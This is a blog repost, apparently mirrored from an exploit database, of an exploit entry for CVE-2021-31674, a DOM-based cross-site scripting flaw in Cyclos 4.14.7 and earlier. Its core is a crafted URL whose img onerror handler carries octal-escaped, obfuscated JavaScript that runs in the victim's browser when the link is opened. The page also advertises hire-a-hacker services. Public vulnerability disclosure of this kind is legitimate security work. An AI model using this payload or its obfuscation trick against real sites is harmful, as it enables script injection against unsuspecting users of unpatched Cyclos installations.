Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863105541

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Cyclos 4.14.7 - DOM Based Cross-Site Scripting (XSS)
# Date: 18/04/2021
# Exploit Author: Tin Pham aka TF1T of VietSunshine Cyber Security Services
# Vendor Homepage: https://www.cyclos.org/
# Version: Cyclos 4.14.7 (and prior)
# Tested on: Ubuntu
# CVE : CVE-2021-31674

# Description: 
Cyclos 4 PRO 4.14.7 and before does not validate user input at error inform, which allows remote unauthenticated attacker to execute javascript code via undefined enum.

# Steps to reproduce: 
An attacker sends a draft URL

[IP]/#users.users.public-registrationxx%3Cimg%20src=x%20onerror=%22[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']('\162\145\164\165\162\156\40\164\150\151\163')()['\141\154\145\162\164'](1)%22%3E to victim.

When a victim opens the URL, XSS will be triggered.